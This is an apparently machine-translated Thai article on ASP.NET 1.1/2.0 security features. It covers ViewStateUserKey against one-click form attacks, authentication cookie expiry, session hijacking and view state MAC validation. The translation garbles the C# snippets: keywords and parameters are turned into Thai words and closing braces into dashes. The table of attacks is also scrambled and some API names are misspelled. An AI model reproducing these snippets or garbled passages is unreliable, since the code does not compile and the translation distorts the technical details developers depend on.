หากคุณกำลังอ่านบทความนี้ คุณอาจไม่จำเป็นต้องมั่นใจว่าความปลอดภัยในแอปพลิเคชันบนเว็บมีความสำคัญมากขึ้นเรื่อยๆ สิ่งที่คุณอาจต้องการคือคำแนะนำที่เป็นประโยชน์เกี่ยวกับวิธีการใช้ความปลอดภัยในแอปพลิเคชัน ASP.NET ของคุณ ข่าวร้ายก็คือไม่มีแพลตฟอร์มการพัฒนาใด รวมถึง ASP.NET ที่สามารถรับประกันได้ว่าเมื่อคุณใช้แพลตฟอร์มนี้ คุณจะสามารถเขียนโค้ดที่ปลอดภัยได้ 100% ใครพูดแบบนั้นก็ต้องโกหก ข่าวดีก็คือ ในกรณีของ ASP.NET, ASP.NET โดยเฉพาะเวอร์ชัน 1.1 และเวอร์ชัน 2.0 ที่กำลังจะมาถึง ได้รวมการป้องกันในตัวบางส่วนที่ใช้งานง่ายไว้ด้วย
การใช้คุณลักษณะทั้งหมดเหล่านี้เพียงอย่างเดียวไม่เพียงพอที่จะปกป้องเว็บแอปพลิเคชันจากการโจมตีทุกรูปแบบที่เป็นไปได้และคาดการณ์ได้ อย่างไรก็ตาม เมื่อรวมกับเทคนิคการป้องกันและกลยุทธ์ด้านความปลอดภัยอื่นๆ ฟังก์ชันการทำงานของ ASP.NET ในตัวจะสามารถสร้างชุดเครื่องมือที่มีประสิทธิภาพเพื่อช่วยให้แน่ใจว่าแอปพลิเคชันจะทำงานในสภาพแวดล้อมที่ปลอดภัย
ความปลอดภัยของเว็บเป็นผลรวมของหลายปัจจัย และเป็นผลมาจากกลยุทธ์ที่ขยายไปไกลกว่าแอปพลิเคชันเดียว และเกี่ยวข้องกับการจัดการฐานข้อมูล การกำหนดค่าเครือข่าย และวิศวกรรมสังคมและฟิชชิ่ง
วัตถุประสงค์ของบทความนี้คือการอธิบายสิ่งที่นักพัฒนา ASP.NET ควรทำเสมอเพื่อรักษามาตรฐานความปลอดภัยในระดับที่เหมาะสม นั่นคือสิ่งที่เกี่ยวกับการรักษาความปลอดภัย: ระมัดระวังและอย่าละเลยการป้องกันของคุณโดยสิ้นเชิง ทำให้ผู้ร้ายแฮ็กได้ยากขึ้น
มาดูกันว่าฟีเจอร์ที่ ASP.NET มีให้เพื่อทำให้งานนี้ง่ายขึ้นคืออะไร
ในตารางที่ 1 ฉันได้สรุปประเภทการโจมตีทางเว็บที่พบบ่อยที่สุด พร้อมด้วยข้อบกพร่องในแอปพลิเคชันที่อาจทำให้การโจมตีเหล่านี้ประสบความสำเร็จ
การโจมตี | ที่เป็นไปได้ ตัวกระตุ้นให้เกิดการโจมตี |
การเขียนสคริปต์ข้ามไซต์ (XSS) | สะท้อนอินพุตของผู้ใช้ที่ไม่น่าเชื่อถือลงในเพจ |
การแทรก SQL | การเชื่อมอินพุตของผู้ใช้เข้าด้วยกันเพื่อสร้างคำสั่ง SQL |
การหักหลัง | เซสชัน ID เซสชัน รหัสเซสชันที่คาดเดาและถูกขโมย คุกกี้ อินพุตของผู้ใช้ที่ไม่น่าเชื่อถือ |
ส่งผ่านสคริปต์ใน | คลิกเดียว | รับรู้ HTTP โพสต์
การดัดแปลงฟิลด์ที่ซ่อนอยู่ | โดยไม่ได้ตรวจสอบ (และเชื่อถือได้) ฟิลด์ที่ซ่อนซึ่งเต็มไปด้วยข้อมูลที่ละเอียดอ่อน |
อะไรคือข้อเท็จจริงสำคัญที่เกิดขึ้นจากรายการ
การโจมตีทางเว็บที่พบบ่อยนี้
ในความคิดของฉัน มีอย่างน้อยสามสิ่ง:
• | เมื่อใดก็ตามที่คุณใส่ข้อมูลผู้ใช้ใดๆ ลงในมาร์กอัปของเบราว์เซอร์ คุณอาจเสี่ยงต่อการถูกโจมตีด้วยการแทรกโค้ด (การแทรก SQL และรูปแบบ XSS ใดๆ) |
• | การเข้าถึงฐานข้อมูลต้องดำเนินการในลักษณะที่ปลอดภัย กล่าวคือ ใช้สิทธิ์น้อยที่สุดสำหรับฐานข้อมูล และแบ่งความรับผิดชอบของผู้ใช้แต่ละรายตามบทบาท |
• | ข้อมูลที่ละเอียดอ่อนไม่ควรถูกส่งผ่านเครือข่าย (นับประสาอะไรกับความชัดเจน) และจะต้องเก็บไว้บนเซิร์ฟเวอร์ในลักษณะที่ปลอดภัย |
สิ่งที่น่าสนใจคือ 3 ประเด็นข้างต้นกำหนดเป้าหมายด้านความปลอดภัยบนเว็บสามด้านตามลำดับ และการรวมกันของทั้งสามด้านนี้เป็นวิธีเดียวที่สมเหตุสมผลในการสร้างแอปพลิเคชันที่ป้องกันการโจมตีและป้องกันการงัดแงะ ชั้นต่างๆ ของการรักษาความปลอดภัยบนเว็บสามารถสรุปได้ดังนี้:
• | แนวทางปฏิบัติในการเขียนโค้ด: การตรวจสอบข้อมูล, การตรวจสอบประเภทและความยาวบัฟเฟอร์, มาตรการป้องกันการงัดแงะ |
• | นโยบายการเข้าถึงข้อมูล: ใช้การตัดสินใจเพื่อปกป้องบัญชีที่อ่อนแอที่สุดเท่าที่จะเป็นไปได้ ใช้ขั้นตอนที่เก็บไว้ หรืออย่างน้อยก็การกำหนดพารามิเตอร์ สั่งการ. |
• | การจัดเก็บและการจัดการที่มีประสิทธิภาพ: อย่าส่งข้อมูลสำคัญไปยังไคลเอนต์ ใช้รหัสแฮชเพื่อตรวจจับการดำเนินงาน ตรวจสอบผู้ใช้และปกป้องข้อมูลประจำตัว ใช้นโยบายรหัสผ่านที่เข้มงวด |
อย่างที่คุณเห็น สิ่งนี้สามารถทำได้โดยการพัฒนาความพยายามร่วมกันของผู้คนเท่านั้น สถาปนิกและผู้ดูแลระบบส่งผลให้แอปพลิเคชันมีความปลอดภัย โปรดอย่าคิดว่าคุณสามารถบรรลุวัตถุประสงค์เดียวกันได้ด้วยวิธีอื่น
เมื่อคุณเขียนแอปพลิเคชัน ASP.NET คุณไม่ได้ต่อสู้กับกองทัพแฮกเกอร์เพียงลำพัง อาวุธเดียวของคุณคือบรรทัดโค้ดที่คุณพิมพ์ด้วยสมอง ทักษะ และนิ้วของคุณ ASP.NET 1.1 และใหม่กว่ามาช่วยเหลือด้วยคุณสมบัติเฉพาะที่เพิ่มการป้องกันของคุณจากภัยคุกคามบางรายการข้างต้นโดยอัตโนมัติ ด้านล่างนี้เราจะตรวจสอบอย่างละเอียด
เปิดตัวใน ASP.NET 1.1 ViewStateUserKey เป็นคุณสมบัติสตริงของคลาส Page มีนักพัฒนาเพียงไม่กี่รายเท่านั้นที่คุ้นเคยกับคุณสมบัตินี้ ทำไม มาดูกันว่าเอกสารบอกว่าอย่างไร
ในการกำหนดตัวระบุให้กับผู้ใช้แต่ละรายในตัวแปรสถานะการดูที่เกี่ยวข้องกับหน้าปัจจุบัน
ความหมายของประโยคนี้ค่อนข้างชัดเจน แต่คุณสามารถบอกฉันได้อย่างตรงไปตรงมาว่ามันอธิบายวัตถุประสงค์ดั้งเดิมของคุณสมบัติหรือไม่ เพื่อให้เข้าใจถึงบทบาทของ ViewStateUserKey คุณต้องอ่านต่อไปจนถึงส่วน หมายเหตุ
คุณสมบัตินี้ช่วยป้องกันการโจมตีด้วยคลิกเดียวเนื่องจากมีการป้อนข้อมูลเพิ่มเติมเพื่อสร้างแฮชที่ป้องกันไม่ให้สถานะมุมมองถูกแก้ไข กล่าวอีกนัยหนึ่ง ViewStateUserKey ทำให้แฮกเกอร์ใช้เนื้อหาของสถานะมุมมองไคลเอ็นต์เพื่อเตรียมโพสต์ที่เป็นอันตรายต่อไซต์ได้ยากขึ้นมาก คุณสมบัตินี้สามารถกำหนดสตริงที่ไม่ว่างเปล่าได้ แต่ควรเป็นรหัสเซสชันหรือรหัสผู้ใช้ เพื่อให้เข้าใจถึงความสำคัญของคุณสมบัตินี้ได้ดีขึ้น เราจะมาแนะนำพื้นฐานของการโจมตี ด้วยคลิกเดียวโดยย่อ
การโจมตีด้วยคลิกเดียวเกี่ยวข้องกับการโพสต์แบบฟอร์ม HTTP ที่เป็นอันตรายไปยังเว็บไซต์ที่รู้จักและมีช่องโหว่ มันถูกเรียกว่า "คลิกเดียว" เพราะมักจะเริ่มต้นด้วยการที่เหยื่อคลิกลิงก์ที่ดึงดูดใจที่พวกเขาพบทางอีเมลหรือในขณะที่ท่องเว็บในฟอรั่มที่มีผู้คนหนาแน่นโดยไม่ตั้งใจ เมื่อคลิกลิงก์ ผู้ใช้จะทริกเกอร์กระบวนการระยะไกลโดยไม่ได้ตั้งใจ ซึ่งส่งผลให้มีการส่ง <form> ที่เป็นอันตรายไปยังไซต์ในที่สุด พูดตามตรงนะ: คุณบอกฉันได้ไหมว่าคุณไม่เคยคลิกลิงก์แบบนี้ คลิกที่นี่เพื่อรับรางวัล 1,000,000 ดอลลาร์ ด้วยความอยากรู้? แน่นอนว่าไม่มีอะไรเลวร้ายเกิดขึ้นกับคุณ สมมติว่าเป็นเช่นนั้น คุณสามารถพูดได้ว่าทุกคนในชุมชนเว็บรอดชีวิตหรือไม่ ใครจะรู้.
เพื่อให้ประสบความสำเร็จ การโจมตีด้วยคลิกเดียวจำเป็นต้องมีเงื่อนไขพื้นหลังบางประการ:
• | ผู้โจมตีต้องมีความรู้เพียงพอเกี่ยวกับไซต์ที่มีช่องโหว่ สิ่งนี้เป็นไปได้เนื่องจากผู้โจมตีสามารถ "ขยัน" ศึกษาไฟล์ หรือเขา/เธอเป็นคนวงในที่โกรธแค้น (เช่น พนักงานที่ถูกไล่ออกเนื่องจากไม่ซื่อสัตย์) ดังนั้นผลที่ตามมาของการโจมตีดังกล่าวจึงร้ายแรงอย่างยิ่ง |
• | ไซต์ต้องใช้คุกกี้ (คุกกี้ถาวรจะดีกว่า) เพื่อเปิดใช้งานการเข้าสู่ระบบครั้งเดียว และผู้โจมตีได้รับคุกกี้การรับรองความถูกต้องที่ถูกต้อง |
• | ผู้ใช้ไซต์นี้บางรายมีส่วนร่วมในการทำธุรกรรมที่ละเอียดอ่อน |
• | ผู้โจมตีจะต้องสามารถเข้าถึงหน้าเป้าหมายได้ |
ตามที่กล่าวไว้ก่อนหน้านี้ การโจมตีเกี่ยวข้องกับการส่งแบบฟอร์ม HTTP ที่เป็นอันตรายไปยังหน้าที่รอแบบฟอร์ม สามารถอนุมานได้ว่าหน้านี้จะใช้ข้อมูลที่โพสต์เพื่อดำเนินการที่ละเอียดอ่อนบางอย่าง อย่างที่คุณสามารถจินตนาการได้ ผู้โจมตีรู้วิธีใช้แต่ละโดเมนอย่างชัดเจนและสามารถสร้างค่าปลอมขึ้นมาเพื่อให้บรรลุเป้าหมายได้ โดยทั่วไปจะเป็นการโจมตีเฉพาะเป้าหมายและติดตามได้ยากเนื่องจากความสัมพันธ์แบบสามเหลี่ยมที่สร้างขึ้น กล่าวคือ แฮ็กเกอร์หลอกให้เหยื่อคลิกลิงก์บนไซต์ของแฮ็กเกอร์ ซึ่งจะทำให้โค้ดที่เป็นอันตรายถูกโพสต์ไปที่ บุคคลที่สาม. (ดูรูปที่ 1)
รูปที่ 1 การโจมตีด้วยคลิกเดียว
ทำไมเหยื่อที่ไม่สงสัย? เนื่องจากในกรณีนี้ ที่อยู่ IP ที่คำขอที่เป็นอันตรายปรากฏในบันทึกเซิร์ฟเวอร์คือที่อยู่ IP ของเหยื่อ ดังที่กล่าวไว้ก่อนหน้านี้ เครื่องมือนี้ไม่ธรรมดา (และเปิดใช้งานง่าย) เช่นเดียวกับ XSS "คลาสสิก" อย่างไรก็ตาม ลักษณะของเครื่องมือนี้หมายความว่าผลที่ตามมาอาจเป็นหายนะ จะจัดการกับมันอย่างไร? ต่อไป เราจะตรวจสอบว่าการโจมตีนี้ทำงานอย่างไรในสภาพแวดล้อม ASP.NET
เว้นแต่การดำเนินการจะถูกเขียนโค้ดในเหตุการณ์ Page_Load มันเป็นไปไม่ได้เลยที่เพจ ASP.NET จะรันโค้ดที่ละเอียดอ่อนภายนอกเหตุการณ์ postback เพื่อให้เหตุการณ์ postback เกิดขึ้น จำเป็นต้องมีฟิลด์สถานะมุมมอง โปรดทราบว่า ASP.NET ตรวจสอบสถานะ postback ของคำขอ และขึ้นอยู่กับว่ามีฟิลด์อินพุต _VIEWSTATE หรือไม่ ให้ตั้งค่า IsPostBack ตามนั้น ดังนั้นใครก็ตามที่ต้องการส่งคำขอปลอมไปยังเพจ ASP.NET จะต้องระบุฟิลด์สถานะมุมมองที่ถูกต้อง
เพื่อให้การโจมตีด้วยคลิกเดียวสำเร็จ แฮกเกอร์จะต้องสามารถเข้าถึงเพจได้ ณ จุดนี้ แฮ็กเกอร์ที่มีสายตายาวจะบันทึกเพจไว้ในเครื่อง ด้วยวิธีนี้ เขา/เธอสามารถเข้าถึงฟิลด์ _VIEWSTATE และใช้ฟิลด์นั้นเพื่อสร้างคำขอที่มีสถานะมุมมองแบบเก่าและค่าที่เป็นอันตรายจากฟิลด์อื่น คำถามคือมันจะได้ผลไหม?
ทำไมไม่? หากผู้โจมตีสามารถให้คุกกี้การรับรองความถูกต้องที่ถูกต้อง แฮกเกอร์จะเข้าถึงได้และคำขอจะได้รับการประมวลผลตามปกติ เนื้อหาสถานะการดูจะไม่ถูกตรวจสอบบนเซิร์ฟเวอร์เลย (เมื่อ EnableViewStataMac ปิดอยู่) หรือเฉพาะในกรณีที่ถูกดัดแปลงเท่านั้น ตามค่าเริ่มต้น ไม่มีกลไกในสถานะมุมมองที่จะเชื่อมโยงเนื้อหานี้กับผู้ใช้รายใดรายหนึ่ง ผู้โจมตีสามารถใช้สถานะการดูที่ได้รับซ้ำได้อย่างง่ายดายเพื่อเข้าถึงเพจอย่างถูกต้องตามกฎหมาย โดยการแอบอ้างเป็นผู้ใช้รายอื่นเพื่อสร้างคำขอปลอม นี่คือจุดที่ ViewStateUserKey เข้ามามีบทบาท
หากเลือกอย่างถูกต้อง คุณสมบัตินี้จะสามารถเพิ่มข้อมูลเฉพาะผู้ใช้ลงในสถานะมุมมองได้ เมื่อประมวลผลคำขอ ASP.NET จะแยกคีย์ออกจากสถานะมุมมองและเปรียบเทียบกับ ViewStateUserKey ของเพจที่รันอยู่ หากทั้งสองตรงกัน คำขอจะถือว่าถูกต้องตามกฎหมาย มิฉะนั้น จะมีการยกเว้น ค่าใดที่ถูกต้องสำหรับแอตทริบิวต์นี้?
การตั้งค่า ViewStateUserKey เป็นสตริงคงที่สำหรับผู้ใช้ทั้งหมดจะเทียบเท่ากับการเว้นว่างไว้ คุณต้องตั้งค่าเป็นค่าที่แตกต่างกันสำหรับผู้ใช้แต่ละราย นั่นคือ ID ผู้ใช้ โดยควรเป็น ID เซสชัน ด้วยเหตุผลด้านเทคนิคและสังคมบางประการ รหัสเซสชันมีความเหมาะสมมากกว่า เนื่องจากรหัสเซสชันไม่สามารถคาดเดาได้ จะหมดอายุเมื่อเวลาผ่านไป และแตกต่างกันไปสำหรับผู้ใช้แต่ละคน
นี่คือโค้ดบางส่วนที่จำเป็นในทุกหน้าของคุณ:
void Page_Init (ผู้ส่งอ็อบเจ็กต์, EventArgs e) { ViewStateUserKey = Session.SessionID; - -
เพื่อหลีกเลี่ยงการทำซ้ำรหัสเหล่านี้ คุณสามารถแก้ไขได้ในวิธีเสมือน OnInit ของคลาสที่ได้รับจาก Page (โปรดทราบว่าคุณต้องตั้งค่าคุณสมบัตินี้ในเหตุการณ์ Page.Init )
ป้องกันแทนที่ OnInit(EventArgs e) { ฐาน OnInit(e); ViewStateUserKey = Session.SessionID; -
โดยทั่วไป การใช้คลาสเพจฐานเป็นสิ่งที่ดีเสมอ ตามที่ฉันได้อธิบายไว้ในบทความ Build Your ASP.NET Pages on a Richer Bedrock หากคุณต้องการเรียนรู้เพิ่มเติมเกี่ยวกับเคล็ดลับของผู้โจมตีด้วยคลิกเดียว คุณสามารถค้นหาบทความดีๆ ได้ที่ aspnetpro.com
คุกกี้การรับรองความถูกต้องมีอยู่เนื่องจากช่วยให้นักพัฒนาบรรลุวัตถุประสงค์บางประการ คุกกี้ทำหน้าที่เป็นตัวเชื่อมโยงถาวรระหว่างเบราว์เซอร์และเซิร์ฟเวอร์ โดยเฉพาะอย่างยิ่งสำหรับแอปพลิเคชันที่ใช้การลงชื่อเข้าระบบครั้งเดียว คุกกี้ที่ถูกขโมยคือสิ่งที่ทำให้เกิดการโจมตีได้ นี่เป็นเรื่องจริงสำหรับการโจมตีด้วยคลิกเดียว
หากต้องการใช้คุกกี้ คุณไม่จำเป็นต้องสร้างและอ่านคุกกี้อย่างชัดเจน หากคุณใช้สถานะเซสชันและใช้การรับรองความถูกต้องของแบบฟอร์ม แสดงว่าคุณใช้คุกกี้โดยปริยาย แน่นอนว่า ASP.NET รองรับสถานะเซสชันที่ไม่มีคุกกี้ และ ASP.NET 2.0 ยังแนะนำการรับรองความถูกต้องของแบบฟอร์มที่ไม่มีคุกกี้อีกด้วย ดังนั้น ตามทฤษฎีแล้ว คุณสามารถใช้คุณสมบัติเหล่านี้ได้โดยไม่ต้องใช้คุกกี้ ฉันไม่ได้บอกว่าคุณไม่จำเป็นต้องทำเช่นนี้อีกต่อไป แต่ความจริงก็คือ นี่เป็นหนึ่งในสถานการณ์ที่การรักษาจะแย่กว่าโรค เซสชันที่ไม่มีคุกกี้จะฝังรหัสเซสชันไว้ใน URL จริงๆ เพื่อให้ใครๆ ก็สามารถเห็นได้
ปัญหาที่อาจเกิดขึ้นที่เกี่ยวข้องกับการใช้คุกกี้คืออะไร? คุกกี้สามารถถูกขโมยได้ (เช่น คัดลอกไปยังคอมพิวเตอร์ของแฮ็กเกอร์) และถูกวางยาพิษ (เช่น เต็มไปด้วยข้อมูลที่เป็นอันตราย) การกระทำเหล่านี้มักเป็นสัญญาณเริ่มต้นของการโจมตีที่กำลังจะเกิดขึ้น หากถูกขโมย คุกกี้จะ "อนุญาต" ผู้ใช้ภายนอกให้เชื่อมต่อกับแอปพลิเคชัน (และใช้เพจที่ได้รับการป้องกัน) ในนามของคุณ อาจทำให้แฮกเกอร์สามารถหลบเลี่ยงการอนุญาตได้อย่างง่ายดาย และสามารถทำสิ่งที่บทบาทและการตั้งค่าความปลอดภัยอนุญาตให้เหยื่อทำได้ การดำเนินการใด ๆ ดังนั้น คุกกี้การรับรองความถูกต้องมักจะมีอายุการใช้งานค่อนข้างสั้นคือ 30 นาที (โปรดทราบว่าแม้ว่าเซสชันของเบราว์เซอร์จะใช้เวลานานกว่าในการดำเนินการให้เสร็จสิ้น คุกกี้จะยังคงหมดอายุ) ในกรณีที่มีการโจรกรรม แฮกเกอร์จะมีหน้าต่าง 30 นาทีในการพยายามโจมตี
คุณสามารถขยายเวลานี้ให้นานขึ้นได้ เพื่อที่ผู้ใช้จะได้ไม่ต้องเข้าสู่ระบบบ่อยเกินไป แต่โปรดระวังว่าคุณกำลังเสี่ยงต่อการทำเช่นนั้น ควรหลีกเลี่ยงการใช้คุกกี้ถาวร ASP.NET ไม่ว่าในกรณีใด ๆ จะส่งผลให้คุกกี้มีอายุเกือบถาวรถึง 50 ปี! ข้อมูลโค้ดต่อไปนี้สาธิตวิธีการแก้ไขวันหมดอายุของคุกกี้อย่างง่ายดาย
เป็นโมฆะ OnLogin (ผู้ส่งวัตถุ EventArgs e) { //ตรวจสอบข้อมูลประจำตัว ถ้า (ValidateUser (ผู้ใช้, pswd)) { // กำหนดวันหมดอายุของคุกกี้ คุกกี้ HttpCookie; cookie = FormsAuthentication.GetAuthCookie (ผู้ใช้, isPersistent); ถ้า (เป็นแบบถาวร) cookie.Expires = DateTime.Now.AddDays(10); //เพิ่มคุกกี้ในการตอบกลับ Response.Cookies.Add(คุกกี้); //เปลี่ยนเส้นทาง สตริง targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl (ผู้ใช้, isPersistent); Response.Redirect (Url เป้าหมาย); - -
คุณสามารถใช้รหัสนี้ในแบบฟอร์มเข้าสู่ระบบของคุณเพื่อปรับแต่งอายุการใช้งานของคุกกี้การรับรองความถูกต้อง
ยังใช้เพื่อดึงสถานะเซสชันสำหรับผู้ใช้เฉพาะอีกด้วย รหัสเซสชันจะถูกจัดเก็บไว้ในคุกกี้ที่ถูกส่งไปมาพร้อมกับคำขอและจัดเก็บไว้ในคอมพิวเตอร์ของเบราว์เซอร์ ในทำนองเดียวกัน หากถูกขโมย คุกกี้เซสชันสามารถใช้เพื่ออนุญาตให้แฮกเกอร์เจาะเข้าสู่ระบบและเข้าถึงสถานะเซสชันของผู้อื่นได้ ไม่จำเป็นต้องพูดว่า สิ่งนี้เป็นไปได้ตราบใดที่เซสชันที่ระบุยังทำงานอยู่ (โดยปกติจะไม่เกิน 20 นาที) การโจมตีผ่านสถานะเซสชันที่เลียนแบบเรียกว่า การไฮแจ็กเซสชัน สำหรับข้อมูลเพิ่มเติมเกี่ยวกับการไฮแจ็กเซสชัน โปรดอ่าน การโจรกรรมบนเว็บ: ป้องกันการไฮแจ็กเซสชัน
การโจมตีครั้งนี้มีอันตรายแค่ไหน? มันยากที่จะบอก ขึ้นอยู่กับฟังก์ชันการทำงานของเว็บไซต์ และที่สำคัญกว่านั้นคือวิธีการออกแบบเพจของไซต์ ตัวอย่างเช่น สมมติว่าคุณสามารถรับคุกกี้เซสชันของบุคคลอื่นและแนบไปกับคำขอสำหรับหน้าเว็บในไซต์ของคุณได้ คุณโหลดเพจและก้าวผ่านอินเทอร์เฟซผู้ใช้ปกติ คุณไม่สามารถแทรกโค้ดใดๆ ลงในเพจ หรือแก้ไขสิ่งใดๆ ในหน้าได้ ยกเว้นว่าเพจนั้นทำงานโดยใช้สถานะเซสชันของผู้ใช้รายอื่น นี่ก็ไม่ได้เลวร้ายเกินไปในตัวมันเอง แต่หากข้อมูลในเซสชันนั้นมีความละเอียดอ่อนและมีความสำคัญ ก็สามารถนำไปสู่การแสวงหาประโยชน์ที่ประสบความสำเร็จโดยตรง แฮกเกอร์ไม่สามารถเจาะเนื้อหาของเซสชันสโตร์ได้ แต่เขาสามารถใช้ข้อมูลที่เก็บไว้ที่นั่นได้ราวกับว่าเขาเข้ามาอย่างถูกกฎหมาย ตัวอย่างเช่น พิจารณาแอปพลิเคชันอีคอมเมิร์ซที่ผู้ใช้เพิ่มสินค้าลงในตะกร้าสินค้าขณะเรียกดูไซต์
• | ตัวเลือกที่ 1. เนื้อหาของตะกร้าสินค้าจะถูกเก็บไว้ในสถานะเซสชัน อย่างไรก็ตาม ในระหว่างการชำระเงิน ผู้ใช้จะถูกขอให้ยืนยันและป้อนรายละเอียดการชำระเงินผ่านการเชื่อมต่อ SSL ที่ปลอดภัย ในกรณีนี้ โดยการเข้าถึงสถานะเซสชันของผู้ใช้รายอื่น แฮ็กเกอร์สามารถเรียนรู้รายละเอียดบางอย่างเกี่ยวกับการตั้งค่าการช็อปปิ้งของเหยื่อเท่านั้น การจี้ในสภาพแวดล้อมนี้ไม่ทำให้เกิดความเสียหายใดๆ สิ่งที่เป็นเดิมพันคือการรักษาความลับ |
• | ตัวเลือกที่ 2. แอปพลิเคชันจะประมวลผลหนึ่งโปรไฟล์สำหรับผู้ใช้ที่ลงทะเบียนแต่ละราย และบันทึกโปรไฟล์ไว้ในสถานะเซสชัน ที่แย่กว่านั้นคือโปรไฟล์ (อาจ) มีข้อมูลบัตรเครดิตด้วย เหตุใดรายละเอียดโปรไฟล์จึงถูกจัดเก็บไว้ในเซสชั่น? บางทีเป้าหมายประการหนึ่งของแอปนี้ก็คือป้องกันไม่ให้ผู้ใช้ต้องพิมพ์ข้อมูลบัตรเครดิตและข้อมูลธนาคารซ้ำๆ ดังนั้นเมื่อชำระเงิน แอปพลิเคชันจะนำผู้ใช้ไปยังเพจที่มีโดเมนที่เติมไว้ล่วงหน้า โดยไม่จำเป็น หนึ่งในฟิลด์เหล่านี้คือหมายเลขบัตรเครดิตที่ได้รับจากสถานะเซสชัน คุณเดาได้ไหมว่าเรื่องราวจะจบลงอย่างไร? |
การออกแบบหน้าแอปพลิเคชันเป็นกุญแจสำคัญในการป้องกันการโจมตีจากการแย่งชิงเซสชัน แน่นอนว่ายังมีอีกสองประเด็นที่ยังไม่ชัดเจน ประเด็นแรกคือ จะป้องกันการขโมยคุกกี้ได้อย่างไร? ประเด็นที่สองคือ ASP.NET จะตรวจจับและป้องกันการไฮแจ็กได้อย่างไร
คุกกี้เซสชั่น ASP.NET นั้นง่ายมาก และถูกจำกัดให้บรรจุสตริง ID เซสชั่นนั้นเอง รันไทม์ ASP.NET แยกรหัสเซสชันออกจากคุกกี้และเปรียบเทียบกับเซสชันที่ใช้งานอยู่ หาก ID ถูกต้อง ASP.NET จะเชื่อมต่อกับเซสชันที่เกี่ยวข้องและดำเนินการต่อ พฤติกรรมนี้อำนวยความสะดวกอย่างมากให้กับแฮกเกอร์ที่ขโมยหรือคาดเดารหัสเซสชันที่ถูกต้องได้
XSS และการโจมตีแบบแทรกกลางอากาศ รวมถึงการเข้าถึงพีซีไคลเอนต์แบบ bruteforce ล้วนเป็นวิธีในการรับคุกกี้ที่ถูกต้อง เพื่อป้องกันการโจรกรรม คุณควรใช้แนวทางปฏิบัติที่ดีที่สุดด้านความปลอดภัยเพื่อป้องกันไม่ให้ XSS และตัวแปรต่างๆ ประสบความสำเร็จ
และเพื่อป้องกันการคาดเดา ID เซสชัน คุณควรหลีกเลี่ยงการประเมินทักษะของคุณสูงเกินไป การเดารหัสเซสชันหมายความว่าคุณรู้วิธีคาดการณ์สตริงรหัสเซสชันที่ถูกต้อง สำหรับอัลกอริทึมที่ใช้โดย ASP.NET (ตัวเลขสุ่ม 15 ตัวที่แมปกับอักขระที่เปิดใช้งาน URL) ความน่าจะเป็นของการสุ่มเดา ID ที่ถูกต้องจะใกล้เคียงกับศูนย์ ฉันไม่สามารถนึกถึงเหตุผลใด ๆ ที่จะแทนที่ตัวสร้าง ID เซสชันเริ่มต้นด้วยของคุณเอง ในหลายกรณี การทำเช่นนั้นจะทำให้ผู้โจมตีทำสิ่งต่างๆ ได้ง่ายขึ้นเท่านั้น
ผลที่ตามมาที่เลวร้ายกว่าของการไฮแจ็กเซสชันก็คือ เมื่อคุกกี้ถูกขโมยหรือคาดเดาได้ ASP.NET ไม่มีทางที่จะตรวจจับการใช้คุกกี้ที่ฉ้อโกงได้ เหตุผลก็คือ ASP.NET จำกัดตัวเองให้ตรวจสอบความถูกต้องของ ID และที่มาของคุกกี้
Jeff Prosise เพื่อนของฉันที่ Wintellect เขียนบทความดีๆ เกี่ยวกับการแย่งชิงเซสชันสำหรับ นิตยสาร MSDN ข้อสรุปของเขาไม่น่าสบายใจ: แทบจะเป็นไปไม่ได้เลยที่จะสร้างการป้องกันที่สามารถป้องกันการโจมตีโดยอาศัยคุกกี้รหัสเซสชันที่ถูกขโมยได้อย่างสมบูรณ์ แต่โค้ดที่เขาพัฒนาขึ้นนั้นให้ข้อเสนอแนะที่สมเหตุสมผลมากสำหรับการปรับปรุงมาตรฐานความปลอดภัยเพิ่มเติม Jeff สร้างโมดูล HTTP ที่ตรวจสอบคำขอขาเข้าและการตอบสนองขาออกสำหรับคุกกี้ ID เซสชัน โมดูลนี้จะเพิ่มรหัสแฮชต่อท้ายรหัสเซสชัน ทำให้ผู้โจมตีสามารถนำคุกกี้กลับมาใช้ซ้ำได้ยากขึ้น คุณสามารถอ่านรายละเอียด ได้ที่นี่
ใช้เพื่อรักษาสถานะของการควบคุมระหว่างคำขอสองรายการติดต่อกันสำหรับหน้าเดียวกัน ตามค่าเริ่มต้น สถานะการดูจะถูกเข้ารหัส Base64 และเซ็นชื่อด้วยแฮชเพื่อป้องกันการปลอมแปลง ไม่สามารถแก้ไขสถานะมุมมองโดยไม่เปลี่ยนการตั้งค่าเพจเริ่มต้นได้ ถ้าผู้โจมตีปรับเปลี่ยนสถานะมุมมอง หรือแม้แต่สร้างสถานะมุมมองใหม่โดยใช้อัลกอริธึมที่ถูกต้อง ASP.NET จะตรวจจับความพยายามเหล่านี้และส่งข้อยกเว้น การดัดแปลงสถานะมุมมองไม่จำเป็นต้องเป็นอันตราย แม้ว่าจะปรับเปลี่ยนสถานะของการควบคุมเซิร์ฟเวอร์ แต่ก็อาจเป็นช่องทางสำหรับการติดไวรัสร้ายแรงได้ ดังนั้นจึงเป็นสิ่งสำคัญอย่างยิ่งที่จะ ไม่ ลบการตรวจสอบข้ามรหัสรับรองความถูกต้องของคอมพิวเตอร์ (MAC) ที่เกิดขึ้นตามค่าเริ่มต้น ดูรูปที่ 2
รูปที่ 2 ปัจจัยที่ทำให้สถานะมุมมองนั้นแก้ไขได้ยากเมื่อเปิดใช้งาน EnableViewStateMac
เมื่อเปิดใช้งานการตรวจสอบ MAC (ค่าเริ่มต้น) ค่าแฮชจะถูกต่อท้ายสถานะมุมมองแบบอนุกรม ซึ่งสร้างขึ้นโดยใช้ค่าฝั่งเซิร์ฟเวอร์บางส่วนและสถานะความลับของผู้ใช้มุมมอง (ถ้ามี) เมื่อสถานะมุมมองถูกโพสต์กลับ แฮชจะถูกคำนวณใหม่โดยใช้ค่าฝั่งเซิร์ฟเวอร์ใหม่และเปรียบเทียบกับค่าที่เก็บไว้ หากทั้งสองตรงกัน คำขอจะได้รับอนุญาต มิฉะนั้น จะมีการยกเว้น แม้จะสมมติว่าแฮ็กเกอร์มีความสามารถในการถอดรหัสและสร้างสถานะมุมมองใหม่ เขา/เธอก็ยังจำเป็นต้องทราบค่าที่เซิร์ฟเวอร์เก็บไว้เพื่อให้ได้แฮชที่ถูกต้อง โดยเฉพาะอย่างยิ่ง แฮกเกอร์จำเป็นต้องทราบรหัสเครื่องที่อ้างอิงในรายการ <machineKey> ของ machine.config
